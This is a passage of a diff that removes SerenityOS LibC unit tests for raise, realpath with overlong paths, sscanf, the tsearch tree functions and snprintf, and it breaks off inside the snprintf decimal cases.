FAIL(ByteString::formatted("Expected payload {} for pos {}, got payload {}", expected, i, payload));
}
}
}
}

View file

@ -1,17 +0,0 @@
/*
* Copyright (c) 2021, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <signal.h>
TEST_CASE(raise)
{
EXPECT_CRASH_WITH_SIGNAL("This should raise a SIGUSR1 signal", SIGUSR1, [] {
raise(SIGUSR1);
return Test::Crash::Failure::DidNotCrash;
});
}

View file

@ -1,86 +0,0 @@
/*
* Copyright (c) 2021, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <AK/ByteString.h>
#include <AK/StringBuilder.h>
#include <errno.h>
#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <unistd.h>
static constexpr char TMPDIR_PATTERN[] = "/tmp/overlong_realpath_XXXXXX";
static constexpr char PATH_LOREM_250[] = "This-is-an-annoyingly-long-name-that-should-take-up-exactly-two-hundred-and-fifty-characters-and-is-surprisingly-difficult-to-fill-with-reasonably-meaningful-text-which-is-necessary-because-that-makes-it-easier-for-my-eyes-to-spot-any-corruption-fast";
static constexpr size_t ITERATION_DEPTH = 17;
static void check_result(char const* what, StringView expected, char const* actual)
{
if (expected != actual)
FAIL(ByteString::formatted("Expected {} to be \"{}\" ({} characters)", what, actual, actual ? strlen(actual) : 0));
}
TEST_CASE(overlong_realpath)
{
// We want to construct a path that is over PATH_MAX characters long.
// This cannot be done in a single step.
// First, switch to a known environment:
char tmp_dir[] = "/tmp/overlong_realpath_XXXXXX";
errno = 0;
auto* new_dir = mkdtemp(tmp_dir);
VERIFY(new_dir != nullptr);
VERIFY(errno == 0);
errno = 0;
auto ret = chdir(tmp_dir);
VERIFY(ret >= 0);
VERIFY(errno == 0);
// Then, create a long path.
StringBuilder expected;
expected.append({ tmp_dir, strlen(tmp_dir) });
// But first, demonstrate the functionality at a reasonable depth:
auto expected_str = expected.to_byte_string();
check_result("getwd", expected_str, getwd(static_cast<char*>(calloc(1, PATH_MAX))));
check_result("getcwd", expected_str, getcwd(nullptr, 0));
check_result("realpath", expected_str, realpath(".", nullptr));
for (size_t i = 0; i < ITERATION_DEPTH; ++i) {
ret = mkdir(PATH_LOREM_250, S_IRWXU);
if (ret < 0) {
perror("mkdir iter");
FAIL(ByteString::formatted("Unable to mkdir the overlong path fragment in iteration {}", i));
return;
}
expected.append('/');
expected.append({ PATH_LOREM_250, strlen(PATH_LOREM_250) });
ret = chdir(PATH_LOREM_250);
if (ret < 0) {
perror("chdir iter");
FAIL(ByteString::formatted("Unable to chdir to the overlong path fragment in iteration {}", i));
return;
}
}
outln("cwd should now be ridiculously large");
// Evaluate
expected_str = expected.to_byte_string();
check_result("getwd", {}, getwd(static_cast<char*>(calloc(1, PATH_MAX))));
check_result("getcwd", expected_str, getcwd(nullptr, 0));
check_result("realpath", expected_str, realpath(".", nullptr));
VERIFY(strlen(PATH_LOREM_250) == 250);
VERIFY(strlen(TMPDIR_PATTERN) + ITERATION_DEPTH * (1 + strlen(PATH_LOREM_250)) == expected_str.length());
VERIFY(expected_str.length() > PATH_MAX);
}

View file

@ -1,253 +0,0 @@
/*
* Copyright (c) 2021, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <AK/Array.h>
#include <stdio.h>
#include <string.h>
typedef long double longdouble;
typedef long long longlong;
typedef unsigned long long unsignedlonglong;
typedef unsigned long unsignedlong;
typedef char charstar[32];
template<typename T>
constexpr static Array<unsigned char, 32> to_value_t(T x)
{
// The endianness doesn't really matter, since we're going to convert both sides with this anyway.
union Value {
u8 v[32];
T t;
};
auto value = Value { .t = x };
return {
value.v[0],
value.v[1],
value.v[2],
value.v[3],
value.v[4],
value.v[5],
value.v[6],
value.v[7],
value.v[8],
value.v[9],
value.v[10],
value.v[11],
value.v[12],
value.v[13],
value.v[14],
value.v[15],
value.v[16],
value.v[17],
value.v[18],
value.v[19],
value.v[20],
value.v[21],
value.v[22],
value.v[23],
value.v[24],
value.v[25],
value.v[26],
value.v[27],
value.v[28],
value.v[29],
value.v[30],
value.v[31],
};
}
template<size_t N>
constexpr static Array<unsigned char, 32> str_to_value_t(char const (&x)[N])
{
Array<unsigned char, 32> value { 0 };
for (size_t i = 0; i < N; ++i)
value[i] = x[i];
return value;
}
struct Argument {
size_t size;
void* data;
};
static Array<u8, 32> arg_to_value_t(Argument const& arg)
{
if (arg.size == 1)
return to_value_t(*(u8*)arg.data);
if (arg.size == 2)
return to_value_t(*(u16*)arg.data);
if (arg.size == 4)
return to_value_t(*(u32*)arg.data);
if (arg.size == 8)
return to_value_t(*(u64*)arg.data);
if (arg.size == 16) {
auto& data = *(charstar*)arg.data;
Array<unsigned char, 32> value { 0 };
for (size_t i = 0; i < 16; ++i)
value[i] = data[i];
return value;
}
if (arg.size == 32) {
auto& data = *(charstar*)arg.data;
auto length = strlen(data);
Array<unsigned char, 32> value { 0 };
for (size_t i = 0; i < length; ++i)
value[i] = data[i];
return value;
}
VERIFY_NOT_REACHED();
}
#define DECL_WITH_TYPE(ty) \
ty _##ty##arg0; \
ty _##ty##arg1; \
ty _##ty##arg2; \
Argument ty##arg0 { sizeof(ty), &_##ty##arg0 }; \
Argument ty##arg1 { sizeof(ty), &_##ty##arg1 }; \
Argument ty##arg2 { sizeof(ty), &_##ty##arg2 };
DECL_WITH_TYPE(int);
DECL_WITH_TYPE(unsigned);
DECL_WITH_TYPE(long);
DECL_WITH_TYPE(longlong);
DECL_WITH_TYPE(float);
DECL_WITH_TYPE(double);
DECL_WITH_TYPE(longdouble);
DECL_WITH_TYPE(unsignedlong);
DECL_WITH_TYPE(unsignedlonglong);
#undef DECL_WITH_TYPE
charstar _charstararg0;
charstar _charstararg1;
charstar _charstararg2;
Argument charstararg0 { sizeof(charstar), &_charstararg0[0] };
Argument charstararg1 { sizeof(charstar), &_charstararg1[0] };
Argument charstararg2 { sizeof(charstar), &_charstararg2[0] };
struct TestSuite {
char const* format;
char const* input;
int expected_return_value;
size_t argument_count;
Argument arguments[8];
Array<unsigned char, 32> expected_values[8]; // 32 bytes for each argument's value.
};
TestSuite const test_suites[] {
{ "%d", "", 0, 0, {}, {} },
{ "%x", "0x519", 1, 1, { unsignedarg0 }, { to_value_t(0x519) } },
{ "%x", "0x51g", 1, 1, { unsignedarg0 }, { to_value_t(0x51u) } },
{ "%06x", "0xabcdef", 1, 1, { unsignedarg0 }, { to_value_t(0xabcdefu) } },
{ "%X", "0xCAFEBABE", 1, 1, { unsignedarg0 }, { to_value_t(0xcafebabe) } },
{ "%04X", "0x5E4E", 1, 1, { unsignedarg0 }, { to_value_t(0x5e4e) } },
{ "%X", "0x51Eg", 1, 1, { unsignedarg0 }, { to_value_t(0x51e) } },
{ "\"%%%d#", "\"%42#", 1, 1, { intarg0 }, { to_value_t(42) } },
{ " %d", "42", 1, 1, { intarg0 }, { to_value_t(42) } },
{ "%d", " 42", 1, 1, { intarg0 }, { to_value_t(42) } },
{ "%ld", "42", 1, 1, { longarg0 }, { to_value_t(42l) } },
{ "%lld", "42", 1, 1, { longlongarg0 }, { to_value_t(42ll) } },
{ "%f", "42", 1, 1, { floatarg0 }, { to_value_t(42.0f) } },
{ "%lf", "42", 1, 1, { doublearg0 }, { to_value_t(42.0) } },
{ "%s", "42", 1, 1, { charstararg0 }, { str_to_value_t("42") } },
{ "%d%s", "42yoinks", 2, 2, { intarg0, charstararg0 }, { to_value_t(42), str_to_value_t("yoinks") } },
{ "%[^\n]", "aaaa\n", 1, 1, { charstararg0 }, { str_to_value_t("aaaa") } },
{ "%u.%u.%u", "3.19", 2, 3, { unsignedarg0, unsignedarg1, unsignedarg2 }, { to_value_t(3u), to_value_t(19u) } },
// Failing test case from previous impl:
{ "SSH-%d.%d-%[^\n]\n", "SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.1\n", 3, 3, { intarg0, intarg1, charstararg0 }, { to_value_t(2), to_value_t(0), str_to_value_t("OpenSSH_8.2p1 Ubuntu-4ubuntu0.1") } },
// GCC failure tests
{ "%d.%d.%d", "10.2.0", 3, 3, { intarg0, intarg1, intarg2 }, { to_value_t(10), to_value_t(2), to_value_t(0) } },
{ "%lu", "3054 ", 1, 1, { unsignedlongarg0 }, { to_value_t(3054ul) } },
// "actual" long long and unsigned long long, from #6096
// Note: '9223372036854775806' is the max value for 'long long'.
{ "%lld", "9223372036854775805", 1, 1, { longlongarg0 }, { to_value_t(9223372036854775805LL) } },
{ "%llu", "9223372036854775810", 1, 1, { unsignedlonglongarg0 }, { to_value_t(9223372036854775810ULL) } },
{ "%n", "", 0, 1, { intarg0 }, { to_value_t(0) } },
{ "%d %n", "1 a", 1, 2, { intarg0, intarg1 }, { to_value_t(1), to_value_t(2) } },
{ "%*d", " 42", 0, 0, {}, {} },
{ "%d%*1[:/]%d", "24/7", 2, 2, { intarg0, intarg1 }, { to_value_t(24), to_value_t(7) } },
{ " %[^a]", " b", 1, 1, { charstararg0 }, { str_to_value_t("b") } },
};
bool g_any_failed = false;
static bool check_value_conformance(TestSuite const& test)
{
bool fail = false;
for (size_t i = 0; i < test.argument_count; ++i) {
auto& arg = test.arguments[i];
auto arg_value = arg_to_value_t(arg);
auto& value = test.expected_values[i];
if (arg_value != value) {
auto arg_ptr = (u32 const*)arg_value.data();
auto value_ptr = (u32 const*)value.data();
printf(" value %zu FAIL,\n", i);
printf(" expected %08x%08x%08x%08x%08x%08x%08x%08x\n",
value_ptr[0], value_ptr[1], value_ptr[2], value_ptr[3],
value_ptr[4], value_ptr[5], value_ptr[6], value_ptr[7]);
printf(" but got %08x%08x%08x%08x%08x%08x%08x%08x\n",
arg_ptr[0], arg_ptr[1], arg_ptr[2], arg_ptr[3],
arg_ptr[4], arg_ptr[5], arg_ptr[6], arg_ptr[7]);
fail = true;
} else {
printf(" value %zu PASS\n", i);
}
}
return !fail;
}
static void do_one_test(TestSuite const& test)
{
printf("Testing '%s' against '%s'...\n", test.input, test.format);
#pragma GCC diagnostic push
#pragma GCC diagnostic ignored "-Wformat-nonliteral"
auto rc = sscanf(test.input, test.format,
test.arguments[0].data, test.arguments[1].data, test.arguments[2].data, test.arguments[3].data,
test.arguments[4].data, test.arguments[5].data, test.arguments[6].data, test.arguments[7].data);
#pragma GCC diagnostic pop
bool overall = true;
printf(" return value...\n");
if (rc != test.expected_return_value) {
printf(" return value FAIL, expected %d but got %d\n", test.expected_return_value, rc);
overall = false;
} else {
printf(" return value PASS\n");
}
printf(" read values...\n");
if (check_value_conformance(test)) {
printf(" read values PASS\n");
} else {
printf(" read values FAIL\n");
overall = false;
}
if (overall)
printf(" overall PASS\n");
else
printf(" overall FAIL\n");
VERIFY(overall);
}
TEST_CASE(scanf)
{
for (auto& test : test_suites)
do_one_test(test);
}

View file

@ -1,255 +0,0 @@
/*
* Copyright (c) 2021, Tim Schumacher <timschumi@gmx.de>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <bits/search.h>
#include <search.h>
#include <string.h>
#define NODE(node) static_cast<struct search_tree_node*>(node)
#define ROOTP(root) reinterpret_cast<void**>(root)
#define U8(value) static_cast<u8>(value)
static int comparison_function(void const* node1, void const* node2)
{
return strcmp(reinterpret_cast<char const*>(node1), reinterpret_cast<char const*>(node2));
}
struct twalk_test_entry {
void const* node;
VISIT order;
int depth;
};
#define TWALK_SET_DATA (-2)
#define TWALK_CHECK_END (-3)
#define TWALK_END_MARKER (-4)
TEST_CASE(tsearch)
{
struct search_tree_node* root = nullptr;
void* ret;
char const* key;
char* search;
// Try a nullptr rootp.
ret = tsearch("buggie", nullptr, comparison_function);
EXPECT_EQ(ret, nullptr);
// Try creating a new tree.
key = "5";
ret = tsearch(key, ROOTP(&root), comparison_function);
EXPECT_EQ(ret, root);
EXPECT_EQ(NODE(ret)->key, key);
// Insert an element on the left side.
key = "3";
ret = tsearch(key, ROOTP(&root), comparison_function);
EXPECT_EQ(ret, root->left);
EXPECT_EQ(NODE(ret)->key, key);
// Insert an element on the right side.
key = "7";
ret = tsearch(key, ROOTP(&root), comparison_function);
EXPECT_EQ(ret, root->right);
EXPECT_EQ(NODE(ret)->key, key);
// Add another layer for testing.
ret = tsearch("2", ROOTP(&root), comparison_function);
EXPECT_EQ(ret, root->left->left);
ret = tsearch("4", ROOTP(&root), comparison_function);
EXPECT_EQ(ret, root->left->right);
ret = tsearch("6", ROOTP(&root), comparison_function);
EXPECT_EQ(ret, root->right->left);
ret = tsearch("8", ROOTP(&root), comparison_function);
EXPECT_EQ(ret, root->right->right);
// Find the root element.
// strdup ensures that we are using the comparator.
search = strdup("5");
ret = tsearch(search, ROOTP(&root), comparison_function);
EXPECT_EQ(ret, root);
free(search);
// Find the lowest-level elements.
search = strdup("2");
ret = tsearch(search, ROOTP(&root), comparison_function);
EXPECT_EQ(ret, root->left->left);
free(search);
search = strdup("4");
ret = tsearch(search, ROOTP(&root), comparison_function);
EXPECT_EQ(ret, root->left->right);
free(search);
search = strdup("6");
ret = tsearch(search, ROOTP(&root), comparison_function);
EXPECT_EQ(ret, root->right->left);
free(search);
search = strdup("8");
ret = tsearch(search, ROOTP(&root), comparison_function);
EXPECT_EQ(ret, root->right->right);
free(search);
delete_node_recursive(root);
}
TEST_CASE(tfind)
{
struct search_tree_node* root = nullptr;
void* ret;
char* search;
// Try a nullptr rootp.
ret = tfind("buggie", nullptr, comparison_function);
EXPECT_EQ(ret, nullptr);
// Search for something that doesn't exist.
ret = tfind("buggie", ROOTP(&root), comparison_function);
EXPECT_EQ(ret, nullptr);
// Construct a tree for testing.
root = new_tree_node("5");
root->left = new_tree_node("3");
root->right = new_tree_node("7");
root->left->left = new_tree_node("2");
root->left->right = new_tree_node("4");
root->right->left = new_tree_node("6");
root->right->right = new_tree_node("8");
// Find the root element.
// strdup ensures that we are using the comparator.
search = strdup("5");
ret = tfind(search, ROOTP(&root), comparison_function);
EXPECT_EQ(ret, root);
free(search);
// Find the lowest-level elements.
search = strdup("2");
ret = tfind(search, ROOTP(&root), comparison_function);
EXPECT_EQ(ret, root->left->left);
free(search);
search = strdup("4");
ret = tfind(search, ROOTP(&root), comparison_function);
EXPECT_EQ(ret, root->left->right);
free(search);
search = strdup("6");
ret = tfind(search, ROOTP(&root), comparison_function);
EXPECT_EQ(ret, root->right->left);
free(search);
search = strdup("8");
ret = tfind(search, ROOTP(&root), comparison_function);
EXPECT_EQ(ret, root->right->right);
free(search);
delete_node_recursive(root);
}
void twalk_action(void const* node, VISIT order, int depth);
void twalk_action(void const* node, VISIT order, int depth)
{
static int count = 0;
static const struct twalk_test_entry* tests = nullptr;
// Special case: Set test data.
if (depth == TWALK_SET_DATA) {
count = 0;
tests = static_cast<const struct twalk_test_entry*>(node);
return;
}
// Special case: End signaled by tester.
if (depth == TWALK_CHECK_END) {
if (tests[count].depth != TWALK_END_MARKER) {
FAIL(ByteString::formatted("Expected action (node={:#x}, order={}, depth={}), but twalk ended early.",
tests[count].node, U8(tests[count].order), tests[count].depth));
}
return;
}
// Special case: End marker reached.
if (tests[count].depth == TWALK_END_MARKER) {
FAIL(ByteString::formatted("Expected end, but twalk sent another action (node={:#x}, order={}, depth={}).",
node, U8(order), depth));
return;
}
EXPECT_EQ(node, tests[count].node);
EXPECT_EQ(U8(order), U8(tests[count].order));
EXPECT_EQ(depth, tests[count].depth);
count++;
}
TEST_CASE(twalk)
{
struct search_tree_node* root = nullptr;
// Try an empty tree.
struct twalk_test_entry tests1[] = {
{ nullptr, leaf, TWALK_END_MARKER },
};
twalk_action(tests1, leaf, TWALK_SET_DATA);
twalk(nullptr, twalk_action);
twalk_action(nullptr, leaf, TWALK_CHECK_END);
// Try a single node.
root = new_tree_node("5");
struct twalk_test_entry tests2[] = {
{ root, leaf, 0 },
{ nullptr, leaf, TWALK_END_MARKER },
};
twalk_action(tests2, leaf, TWALK_SET_DATA);
twalk(root, twalk_action);
twalk_action(nullptr, leaf, TWALK_CHECK_END);
// Try two layers of nodes.
root->left = new_tree_node("3");
root->right = new_tree_node("7");
struct twalk_test_entry tests3[] = {
{ root, preorder, 0 },
{ root->left, leaf, 1 },
{ root, postorder, 0 },
{ root->right, leaf, 1 },
{ root, endorder, 0 },
{ nullptr, leaf, TWALK_END_MARKER },
};
twalk_action(tests3, leaf, TWALK_SET_DATA);
twalk(root, twalk_action);
twalk_action(nullptr, leaf, TWALK_CHECK_END);
// Try three layers of nodes.
root->left->left = new_tree_node("2");
root->left->right = new_tree_node("4");
root->right->left = new_tree_node("6");
root->right->right = new_tree_node("8");
struct twalk_test_entry tests4[] = {
{ root, preorder, 0 },
{ root->left, preorder, 1 },
{ root->left->left, leaf, 2 },
{ root->left, postorder, 1 },
{ root->left->right, leaf, 2 },
{ root->left, endorder, 1 },
{ root, postorder, 0 },
{ root->right, preorder, 1 },
{ root->right->left, leaf, 2 },
{ root->right, postorder, 1 },
{ root->right->right, leaf, 2 },
{ root->right, endorder, 1 },
{ root, endorder, 0 },
{ nullptr, leaf, TWALK_END_MARKER },
};
twalk_action(tests4, leaf, TWALK_SET_DATA);
twalk(root, twalk_action);
twalk_action(nullptr, leaf, TWALK_CHECK_END);
delete_node_recursive(root);
}

View file

@ -1,363 +0,0 @@
/*
* Copyright (c) 2020, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <AK/ByteBuffer.h>
#include <AK/Random.h>
#include <AK/StringBuilder.h>
#include <ctype.h>
#include <inttypes.h>
#include <limits.h>
#include <stdint.h>
#include <stdio.h>
#pragma GCC diagnostic ignored "-Wformat-nonliteral"
template<typename TArg>
struct Testcase {
char const* dest;
size_t dest_n;
char const* fmt;
TArg const arg;
int expected_return;
char const* dest_expected;
size_t dest_expected_n; // == dest_n
};
static ByteString show(ByteBuffer const& buf)
{
StringBuilder builder;
for (size_t i = 0; i < buf.size(); ++i) {
builder.appendff("{:02x}", buf[i]);
}
builder.append(' ');
builder.append('(');
for (size_t i = 0; i < buf.size(); ++i) {
if (isprint(buf[i]))
builder.append(buf[i]);
else
builder.append('_');
}
builder.append(')');
return builder.to_byte_string();
}
template<typename TArg>
static bool test_single(Testcase<TArg> const& testcase)
{
constexpr size_t SANDBOX_CANARY_SIZE = 8;
// Preconditions:
if (testcase.dest_n != testcase.dest_expected_n) {
warnln("dest length {} != expected dest length {}? Check testcase! (Probably miscounted.)", testcase.dest_n, testcase.dest_expected_n);
return false;
}
// Setup
ByteBuffer actual = ByteBuffer::create_uninitialized(SANDBOX_CANARY_SIZE + testcase.dest_n + SANDBOX_CANARY_SIZE).release_value();
fill_with_random(actual);
ByteBuffer expected = actual;
VERIFY(actual.offset_pointer(0) != expected.offset_pointer(0));
actual.overwrite(SANDBOX_CANARY_SIZE, testcase.dest, testcase.dest_n);
expected.overwrite(SANDBOX_CANARY_SIZE, testcase.dest_expected, testcase.dest_expected_n);
// "unsigned char" != "char", so we have to convince the compiler to allow this.
char* dst = reinterpret_cast<char*>(actual.offset_pointer(SANDBOX_CANARY_SIZE));
// The actual call:
int actual_return = snprintf(dst, testcase.dest_n, testcase.fmt, testcase.arg);
// Checking the results:
bool return_ok = actual_return == testcase.expected_return;
bool canary_1_ok = MUST(actual.slice(0, SANDBOX_CANARY_SIZE)) == MUST(expected.slice(0, SANDBOX_CANARY_SIZE));
bool main_ok = MUST(actual.slice(SANDBOX_CANARY_SIZE, testcase.dest_n)) == MUST(expected.slice(SANDBOX_CANARY_SIZE, testcase.dest_n));
bool canary_2_ok = MUST(actual.slice(SANDBOX_CANARY_SIZE + testcase.dest_n, SANDBOX_CANARY_SIZE)) == MUST(expected.slice(SANDBOX_CANARY_SIZE + testcase.dest_n, SANDBOX_CANARY_SIZE));
bool buf_ok = actual == expected;
// Evaluate gravity:
if (buf_ok && (!canary_1_ok || !main_ok || !canary_2_ok)) {
warnln("Internal error! ({} != {} | {} | {})", buf_ok, canary_1_ok, main_ok, canary_2_ok);
buf_ok = false;
}
if (!canary_1_ok) {
warnln("Canary 1 overwritten: Expected {}\n"
" instead got {}",
show(MUST(expected.slice(0, SANDBOX_CANARY_SIZE))),
show(MUST(actual.slice(0, SANDBOX_CANARY_SIZE))));
}
if (!main_ok) {
warnln("Wrong output: Expected {}\n"
" instead, got {}",
show(MUST(expected.slice(SANDBOX_CANARY_SIZE, testcase.dest_n))),
show(MUST(actual.slice(SANDBOX_CANARY_SIZE, testcase.dest_n))));
}
if (!canary_2_ok) {
warnln("Canary 2 overwritten: Expected {}\n"
" instead, got {}",
show(MUST(expected.slice(SANDBOX_CANARY_SIZE + testcase.dest_n, SANDBOX_CANARY_SIZE))),
show(MUST(actual.slice(SANDBOX_CANARY_SIZE + testcase.dest_n, SANDBOX_CANARY_SIZE))));
}
if (!return_ok) {
warnln("Wrong return value: Expected {}, got {} instead!", testcase.expected_return, actual_return);
}
return buf_ok && return_ok;
}
// Drop the NUL terminator added by the C++ compiler.
#define LITERAL(x) x, (sizeof(x) - 1)
static char const* const POISON = (char const*)1;
TEST_CASE(golden_path)
{
EXPECT(test_single<char const*>({ LITERAL("Hello World!\0\0\0"), "Hello Friend!", POISON, 13, LITERAL("Hello Friend!\0\0") }));
EXPECT(test_single<char const*>({ LITERAL("Hello World!\0\0\0"), "Hello %s!", "Friend", 13, LITERAL("Hello Friend!\0\0") }));
EXPECT(test_single<char const*>({ LITERAL("aaaaaaaaaa"), "whf", POISON, 3, LITERAL("whf\0aaaaaa") }));
EXPECT(test_single<char const*>({ LITERAL("aaaaaaaaaa"), "w%sf", "h", 3, LITERAL("whf\0aaaaaa") }));
}
TEST_CASE(border_cases)
{
EXPECT(test_single<char const*>({ LITERAL("Hello World!\0\0"), "Hello Friend!", POISON, 13, LITERAL("Hello Friend!\0") }));
EXPECT(test_single<char const*>({ LITERAL("AAAA"), "whf", POISON, 3, LITERAL("whf\0") }));
EXPECT(test_single<char const*>({ LITERAL("AAAA"), "%s", "whf", 3, LITERAL("whf\0") }));
}
TEST_CASE(too_long)
{
EXPECT(test_single<char const*>({ LITERAL("Hello World!\0"), "Hello Friend!", POISON, 13, LITERAL("Hello Friend\0") }));
EXPECT(test_single<char const*>({ LITERAL("Hello World!\0"), "This source is %s too long!", "just *way*", 35, LITERAL("This source \0") }));
EXPECT(test_single<char const*>({ LITERAL("x"), "This source is %s too long!", "just *way*", 35, LITERAL("\0") }));
}
TEST_CASE(special_cases)
{
EXPECT(test_single<char const*>({ LITERAL(""), "Hello Friend!", POISON, 13, LITERAL("") }));
EXPECT_EQ(snprintf(nullptr, 0, "Hello, friend!"), 14);
EXPECT(test_single<char const*>({ LITERAL(""), "", POISON, 0, LITERAL("") }));
EXPECT(test_single<char const*>({ LITERAL("x"), "", POISON, 0, LITERAL("\0") }));
EXPECT(test_single<char const*>({ LITERAL("xx"), "", POISON, 0, LITERAL("\0x") }));
EXPECT(test_single<char const*>({ LITERAL("xxx"), "", POISON, 0, LITERAL("\0xx") }));
EXPECT(test_single<char const*>({ LITERAL(""), "whf", POISON, 3, LITERAL("") }));
EXPECT(test_single<char const*>({ LITERAL("x"), "whf", POISON, 3, LITERAL("\0") }));
EXPECT(test_single<char const*>({ LITERAL("xx"), "whf", POISON, 3, LITERAL("w\0") }));
}
TEST_CASE(octal_values)
{
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%#10.5o|", 017, 12, LITERAL("| 00017|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%#10.5o|", 01000, 12, LITERAL("| 01000|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%#10.5o|", 010000, 12, LITERAL("| 010000|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%10.5o|", 017, 12, LITERAL("| 00017|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%-10.5o|", 017, 12, LITERAL("|00017 |\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%-010.5o|", 017, 12, LITERAL("|00017 |\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%010.5o|", 017, 12, LITERAL("| 00017|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%010o|", 017, 12, LITERAL("|0000000017|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%10o|", 017, 12, LITERAL("| 17|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxx\0"), "|%.5o|", 017, 7, LITERAL("|00017|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxx\0"), "|%.1o|", 017, 4, LITERAL("|17|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxx\0"), "|%.0o|", 017, 4, LITERAL("|17|\0") }));
EXPECT(test_single<int>({ LITERAL("xx\0"), "|%.0o|", 00, 2, LITERAL("||\0") }));
EXPECT(test_single<int>({ LITERAL("xxx\0"), "|%#.0o|", 00, 3, LITERAL("|0|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxx\0"), "|%#.0o|", 01, 4, LITERAL("|01|\0") }));
EXPECT(test_single<int>({ LITERAL("xxx\0"), "|%#.1o|", 00, 3, LITERAL("|0|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxx\0"), "|%#.1o|", 01, 4, LITERAL("|01|\0") }));
EXPECT(test_single<int>({ LITERAL("xxx\0"), "|%o|", 00, 3, LITERAL("|0|\0") }));
}
TEST_CASE(decimal_values)
{
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%10.5d|", 17, 12, LITERAL("| 00017|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%+10.5d|", 17, 12, LITERAL("| +00017|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%10.5d|", -17, 12, LITERAL("| -00017|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%+10.5d|", -17, 12, LITERAL("| -00017|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%-10.5d|", 17, 12, LITERAL("|00017 |\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%+-10.5d|", 17, 12, LITERAL("|+00017 |\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%+-10.5d|", -17, 12, LITERAL("|-00017 |\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%-10.5d|", -17, 12, LITERAL("|-00017 |\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%-010.5d|", 17, 12, LITERAL("|00017 |\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%010.5d|", 17, 12, LITERAL("| 00017|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%010d|", 17, 12, LITERAL("|0000000017|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%+010d|", 17, 12, LITERAL("|+000000017|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%010d|", -17, 12, LITERAL("|-000000017|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%010d|", 170000000, 12, LITERAL("|0170000000|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%+010d|", 170000000, 12, LITERAL("|+170000000|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%10d|", -170000000, 12, LITERAL("|-170000000|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%+10d|", -170000000, 12, LITERAL("|-170000000|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%010d|", 1700000000, 12, LITERAL("|1700000000|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxxx\0"), "|%+010d|", 1700000000, 13, LITERAL("|+1700000000|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxxx\0"), "|%10d|", -1700000000, 13, LITERAL("|-1700000000|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxxx\0"), "|%+10d|", -1700000000, 13, LITERAL("|-1700000000|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%10d|", 17, 12, LITERAL("| 17|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%+10d|", 17, 12, LITERAL("| +17|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%10d|", -17, 12, LITERAL("| -17|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxx\0"), "|%.5d|", 17, 7, LITERAL("|00017|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxx\0"), "|%.1d|", 17, 4, LITERAL("|17|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxx\0"), "|%.0d|", 17, 4, LITERAL("|17|\0") }));
EXPECT(test_single<int>({ LITERAL("xx\0"), "|%.0d|", 0, 2, LITERAL("||\0") }));
EXPECT(test_single<int>({ LITERAL("xxx\0"), "|%+.0d|", 0, 3, LITERAL("|+|\0") }));
EXPECT(test_single<int>({ LITERAL("xxx\0"), "|%#.1d|", 0, 3, LITERAL("|0|\0") }));
